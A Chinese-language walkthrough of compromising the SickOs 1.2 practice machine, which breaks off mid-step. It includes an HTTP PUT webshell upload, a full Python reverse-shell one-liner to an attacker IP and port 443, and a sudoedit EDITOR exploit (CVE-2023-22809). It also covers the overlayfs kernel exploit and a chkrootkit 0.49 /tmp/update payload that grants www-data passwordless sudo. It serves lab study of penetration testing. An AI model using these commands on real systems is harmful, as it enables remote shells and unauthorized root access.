SickOs-1.2靶机渗透

📅 2026/7/2 3:05:45
SickOs-1.2靶机渗透
这次扫出来的端口是22和80没有像之前一样的代理那么直接访问80端口但是看着没啥东西扫个目录这里先用dirsearch,但是只扫出来一个test访问之后感觉还是没啥东西然后之前nmap扫出来一个lighttpd 1.4.28我想着是不是有可能是这个东西存在漏洞网上搜了一下Lighttpd是一款高性能的开源Web服务器专为处理速度和资源效率而设计适合动态网站和资源有限的环境但是这个版本下没有相关的漏洞可以利用那就很奇怪了扫目录就扫出来这么一个其他啥也没有难道是工具的问题然后我又换了两个工具但是都没有别的结果如图到这里我就没啥思路了只能上nikto碰碰运气但是好像还真有东西简单来说就是在test目录下的HTTP头可能存在漏洞那么我们可以BP抓包进行尝试修改这里可以看到是允许PUT的那么我们就可以尝试上传文件getshell能成功上传访问一下执行命令看看行不行那还说啥了直接python反弹python -c import os,socket,subprocess;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((10.144.45.177,443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);这里有一个问题是刚开始时我用的是4444端口但是kali上并没有反应造成这样的原因是靶机防火墙只允许了特定端口如443的出站连接除了通过执行python反弹shell来对端口进行探测外还可以使用nmap的DNS递归探测如果我们能在靶机上执行命令可以用 Nmap 的一个小技巧来反向验证防火墙规则nmap -p 53 --dns-servers 10.144.45.177 scanme.nmap.org这个命令的意思是让靶机用53端口作为源去连接我们的 Kali如果靶机防火墙禁止53端口出站这个扫描就会失败。换成-p 443成功就更证明了防火墙的策略虽然这台靶机上面没有nmap...)后渗透sudoedit漏洞尝试进去之后先搞个ttysudo -l需要密码SUID中里面有一个感觉有用的/usr/bin/sudoedit但是尝试之后才发现这个最前面的sudo也算是需要密码的然后还有一个关于sudoedit的CVE-2023-22809当 sudo 版本在1.8.0到1.9.12p1之间时即使sudo -l里没有任何配置也可能被利用,但是这里面有一个关键限制是都需要密码才能执行响应漏洞但是我们这里不知道密码所以就无法利用但是既然碰到了还是具体讲一下这个漏洞吧核心思路利用sudoedit处理编辑器参数时的缺陷骗过系统让我们以root权限编辑一个本无权访问的文件比如/etc/sudoers具体步骤1.确认漏洞存在条件一sudo版本在受影响范围内虽然这里看不了sudo --version如果版本号在1.8.0到1.9.12p1之间说明软件本身存在漏洞条件二当前用户拥有sudoedit的使用权限sudo -l #关注后续输出这里也要密码因此在不知道密码下漏洞无法利用 (root) NOPASSWD: sudoedit /etc/services (root) /usr/bin/sudoedit /var/www/html/*2.理解为什么要修改EDITOR环境变量这是理解整个漏洞的关键。正常情况下当我们执行sudoedit /etc/services时系统会调用EDITOR环境变量里指定的编辑器比如vim、nano来打开这个文件。漏洞就在于sudoedit没能正确处理编辑器命令后额外附加的参数。我们可以利用--这个特殊符号在编辑器命令后面“夹带私货”--在大多数编辑器中用于明确分隔“编辑器的选项”和“要打开的文件路径”。举个例子一个正常的编辑器调用是这样的#让 vim 打开 /etc/services 文件 vim -- /etc/services漏洞利用思路如下# 我们想要 sudoedit 最终去编辑的文件是 /etc/sudoers # 可以这样“欺骗” sudoedit export EDITORvim -- /etc/sudoers sudoedit /etc/services # 名义上要编辑的文件实际执行的命令变成了vim -- /etc/sudoers /etc/services。对于vim来说它会打开这两个文件让我们都可以编辑。于是就可以绕过限制成功以root权限打开/etc/sudoers文件。这里可能有师傅有疑问之前SUID不是已经显示有root权限了吗为什么还要设置一个/etc/sudoers这是因为sudoedit程序内部会检查/etc/sudoers配置给一个伪代码// 伪代码 if (!user_has_permission_to_edit(/etc/sudoers)) { printf(Sorry, user %s is not allowed to edit /etc/sudoers\n, username); exit(1); }程序会先进行校验如果我们直接进行编辑就会被阻止而该漏洞就是利用拼接的命令把/etc/sudoers作为额外参数传递给vimvim作为子进程继承root权限直接打开了/etc/sudoers。3.执行攻击获取root权限设置陷阱 (环境变量)我们将EDITOR环境变量设置为vim编辑器并利用--参数附加上我们真正想编辑的文件/etc/sudoers。export EDITORvim -- /etc/sudoers如果目标系统没有vim可以用vi、nano等任何编辑器替代。方法是通用的。触发漏洞执行我们在sudo -l中看到的那个有权限编辑的命令。这里以sudoedit /etc/services为例sudoedit /etc/services如果系统提示输入密码请输入当前用户的密码如果一切顺利我们会看到vim或你指定的编辑器打开了两个文件一个是名义上的/etc/services另一个就是我们真正想动手脚的/etc/sudoers。修改/etc/sudoers并提权现在我们已经以root权限打开了/etc/sudoers文件。在vim中输入www-data ALL(ALL:ALL) ALL结尾最后就是输入命令直接提权sudo -i内核提权尝试看了一下内核版本是linux3.11对应的ubuntu版本是12.04, 搜了一下感觉有一个CVE-2015-1328可以用但是wget传的时候不知道为什么连接不上于是后面传了一个新文件连了下蚁剑从蚁剑中上传文件gcc 37292.c -o exp chmod x exp ./exp但是失败了又细看了一下exp攻击者利用 OverlayFS 在复制文件时“只检查原文件所有者是否有权限而不检查操作者是否有权限”的逻辑缺陷最终获得 root 权限。1. 核心漏洞有缺陷的“复制-上移” (Copy-Up)OverlayFS 是 Linux 的一种联合文件系统它能把一个只读的目录lowerdir和一个可写的目录upperdir“合并”成一个新的目录merged。当我们尝试修改merged目录中一个来自只读层的文件时OverlayFS 会执行一个叫“复制-上移” (Copy-Up)的操作把这个文件从只读层复制到可写层进行修改漏洞的关键在于copy_up过程中的权限检查。内核只检查了“这个文件本身的所属用户通常是 root是否有权限写入upperdir目录”而**完全没有检查“当前执行复制操作的用户普通用户是否有这个权限”。同时复制后的新文件会完美继承原文件的所有属性包括所有者root和SUID 权限简单来说它犯的错误就是只看“文件同不同意”不看“你同不同意”。2. 攻击路径三步“偷”出一个 Root 文件有了上面的漏洞攻击者就可以三步偷出一个属于自己的、具有 root 所有权的文件。第一步搭建“舞台”攻击者在自己的命名空间中用 OverlayFS 将/etc目录只读挂载为一个新的可写视图lowerdir(只读层):/etcupperdir(可写层):/tmp/upper第二步触发“复制”并“偷走”文件攻击者进入merged目录刚才挂载的新视图对/etc/shadow文件执行一个操作比如mv shadow copy_of_shadow。由于需要修改文件OverlayFS 触发了copy_up。根据漏洞这个操作成功了——即便执行操作的是一个普通用户。现在一个全新的、所有者是 root 的/tmp/upper/copy_of_shadow文件就诞生了。第三步用“偷来的”文件进攻现在攻击者手里有一个 root 所有的文件了。接下来他们可以把这个文件“塞回”到系统的真实/etc目录下。比如再构造一个 OverlayFS把刚才保存文件的upperdir作为新的只读源挂载到目标位置。最终攻击者就可以在/etc下得到一个自己可控的shadow副本利用这个文件进行权限提升。3. 利用/etc/ld.so.preload完成提权37292号漏洞的利用脚本正是基于这个原理但它选了一个更巧妙的目标——/etc/ld.so.preload文件。目标选定/etc/ld.so.preload是一个特殊的配置文件。如果它里面写了一个共享库的路径那么系统上运行的每一个程序都会在启动时强制加载这个库发动攻击利用上面的“偷文件”三步走攻击者成功地在/etc目录下创建了一个全局可写的/etc/ld.so.preload文件。这个文件本应只有 root 才能修改。植入木马攻击者将自己的恶意共享库路径写入这个文件中。收获权限当攻击者执行一个普通的、非 SUID 的命令比如su或passwd时它触发并加载了恶意库。这个库的代码通常只是简单地执行setuid(0)然后弹出一个root权限的 shell后面才发现官方公告说明Ubuntu12.04版本不受这个漏洞影响....那么再试试脏牛呢(⊙o⊙)后面尝试了之后也是不行靶机里面没有g编译c文件会炸机所以这里内核提权也是无望了。计划任务提权在SickOs-1.1中有一种方法是通过计划任务提权的那么这里是不是也可以进行呢先看一眼ls -al /etc/cron.d ls -al /etc/cron.daily这里就可以看到在daily里面全都是以root身份运行的其中有一个非常特别的进程在应急响应中比较常见chkrootkitchkrootkit是一个开源的Rootkit 检测工具用于扫描系统的多个部分包括文件系统、进程和内核模块以检查是否有 Rootkit 的迹象。它通过多种技术如模式匹配和异常检测帮助系统管理员快速识别和清除 Rootkit。chkrootkit 可以扫描系统的关键区域包括进程、网络连接、文件和内核模块并列出检测结果。如果发现可疑的 Rootkitchkrootkit 会输出相关信息帮助用户采取措施进行安全防护看一下版本注意这里需要绝对路径然后V是大写的/usr/sbin/chkrootkit -V chkrootkit version 0.49网上搜了一下之后有一个相关漏洞只要提权上传一个文件到tmp目录管理员再次运行Chkrootkit后即可获取root权限。这个漏洞的根源是chkrootkit0.49 及更早版本在slapper()函数中犯了一个非常低级的代码编写错误下面是有关代码slapper (){ SLAPPER_FILES${ROOTDIR}tmp/.bugtraq ${ROOTDIR}tmp/.bugtraq.c SLAPPER_FILES$SLAPPER_FILES ${ROOTDIR}tmp/.unlock ${ROOTDIR}tmp/httpd \ ${ROOTDIR}tmp/update ${ROOTDIR}tmp/.cinik ${ROOTDIR}tmp/.ba SLAPPER_PORT0.0:2002 |0.0:4156 |0.0:1978 |0.0:1812 |0.0:2015 OPT-an STATUS0 file_port if ${netstat} ${OPT}|${egrep} ^tcp|${egrep} ${SLAPPER_PORT} /dev/null 21 then STATUS1 [ $SYSTEM Linux ] file_portnetstat -p ${OPT} | \ $egrep ^tcp|$egrep ${SLAPPER_PORT} | ${awk} { print $7 } | tr -d : fi for i in ${SLAPPER_FILES}; do if [ -f ${i} ]; then file_port$file_port $i STATUS1 fi done if [ ${STATUS} -eq 1 ] ;then echo Warning: Possible Slapper Worm installed ($file_port) else if [ ${QUIET} ! t ]; then echo not infected; fi return ${NOT_INFECTED} fi }关键在这里file_port$file_port $i变量$i前后没有加双引号【正常来讲是要加双引号的作为字符串】根据 Linux Shell 的解析规则这行代码的实际效果是先执行$i这个变量代表的命令。将执行结果赋值给变量file_port。攻击链如下前提条件系统将/tmp目录挂载为可执行即挂载选项里没有noexec同时系统通过cron定时任务等机制定期以root权限运行 chkrootkit放置后门攻击者在/tmp目录下创建一个名为update的可执行文件内容可以是任何想要以root身份运行的恶意命令。例如echo chmod 777 /etc/sudoers echo www-data ALLNOPASSWD: ALL /etc/sudoers /tmp/update chmod x /tmp/update坐等触发攻击者只需要等待。当下一次cron任务启动chkrootkit时chkrootkit获得root权限。脚本运行到slapper()函数。函数检测到/tmp/update文件存在。漏洞代码file_port$file_port /tmp/update被执行。恶意代码就以root的身份在系统上运行了了解了这个之后就可以在/tmp目录下构造我们的恶意代码了方便一点可以直接在蚁剑中编辑#! /bin/bash